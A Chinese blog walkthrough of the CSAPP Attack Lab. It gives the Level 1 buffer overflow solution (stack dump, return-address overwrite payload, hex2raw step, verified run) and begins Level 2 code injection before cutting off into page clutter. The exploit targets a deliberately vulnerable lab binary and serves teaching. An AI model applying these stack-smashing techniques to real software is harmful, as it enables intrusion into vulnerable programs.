csapp字符驱动实验_缓冲区溢出原理及实验

这篇博客详细介绍了CSAPP字符驱动实验,涉及到缓冲区溢出原理及其应用,通过不同级别的实验展示了代码注入攻击。实验包括利用exploit string改变程序执行流程,以及防御措施如栈随机化、限制可执行代码区域和栈破坏检测。此外,还探讨了ROP(返回导向编程)技术,并给出了具体的攻击和防御实例。
摘要由CSDN通过智能技术生成

缓冲区溢出试验是CSAPP课后试验之一,目的是:

  • 更好的理解什么是缓冲区溢出
  • 如何攻击带有缓冲区溢出漏洞的程序
  • 如何编写出更加安全的代码
  • 了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性

我们可以使用代码注入(code-injection)和返回导向编程(return-oriented-programming)两种攻击手段分别攻击试验提供的ctarget和rtarget程序。

ctarget和rtarget会使用getbuf函数从标准输入中读取用户输入:

unsigned getbuf(){
    
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

Gets函数和标准库gets函数很相似,这里会从标准输入读取输入并将输入的字符串存储到buf里。而且Gets函数无法判断BUFFER_SIZE是否足够大,所以我们利用这一点进行缓冲区溢出攻击。

Part I : Code Injection Attacks

Level 1

试验目的

在这个阶段,我们不会注入新的代码,而是利用我们输入的exploit string诱使程序执行一段已有的程序。
上面提到过的getbuf函数会被test函数调用:

void test(){
    
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%xn", val);
}

正常情况下,执行完getbuf函数后,程序会接着执行下面的printf函数。但是我们想改变这一正常的行为,当执行完getbuf函数后,执行下面的touch1函数,而不是回到调用的地方执行printf函数:

void touch1(){
    
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()n");
    validate(1);
    exit(0);
}

solution

既然要改变函数返回地址,思路就是利用我们的exploit string覆盖栈上的返回地址。

6756764384a98684d877be075825f435.png

查看getbuf函数:

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq
  4017be:   90                      nop
  4017bf:   90                      nop

查看执行完sub $0x28,%rsp指令的栈空间:

(gdb) x /6x $rsp
0x5561dc78:     0x0000000000068310	0x00000000000000f4
0x5561dc88:     0x000000005561dcc0	0x0000000000000000
0x5561dc98:     0x0000000055586000	0x0000000000401976
(gdb) info symbol 0x0000000000401976
test + 14 in section .text of /home/xiaoju/target1/ctarget

可以看出0x0000000000401976为test函数调用getbuf的下一条指令的地址,我们只需要恰当的构造输入,把0x0000000000401976替换成touch1的地址即可。touch1的地址是0x00000000004017c0。所以输入字符串的结构就是40个随机字节 + 0x00000000004017c0(注意小端字节序的问题):

AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA c0 17 40 00 00 00 00 00

使用实验提供的工具hex2raw进行编码:

./hex2raw < exploit1.txt > exploit1.raw

验证结果:

./ctarget -q < exploit1.raw
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget

成功。

使用gdb验证一下:

(gdb) x/6xg $rsp
0x5561dc78:     0xaaaaaaaaaaaaaaaa	0xaaaaaaaaaaaaaaaa
0x5561dc88:     0xaaaaaaaaaaaaaaaa	0xaaaaaaaaaaaaaaaa
0x5561dc98:     0xaaaaaaaaaaaaaaaa	0x00000000004017c0     ------> 覆盖成功
(gdb) ni
0x00000000004017bd in getbuf ()
=> 0x00000000004017bd <getbuf+21>:	c3	retq
(gdb) ni
0x00000000004017c0 in touch1 ()       ------> 调到touch1函数
=> 0x00000000004017c0 <touch1+0>:	48 83 ec 08     sub    $0x8,%rsp

Level 2

试验目的

第二阶段我们会在exploit string中包含一小部分代码段来完成我们的攻击。
在ctarget中包含touch2函数:

void touch2(unsigned val){
    
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
    
         printf("Touch2!: You called touch2(0x%.8x)n", val);
         validate(2);
    } else {
    
        printf("Misfire: You called touch2(0x%.8x)n", val);
        fail(2);
    }
    exit(0);
}

我们的目的是保证执行getbuf函数后执行touch2函数而不是返回到test函数,并保证touch2的参数val == cookie.

solution

与上面一样,我们需要覆盖栈上正常的返回地址。区别是ÿ

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值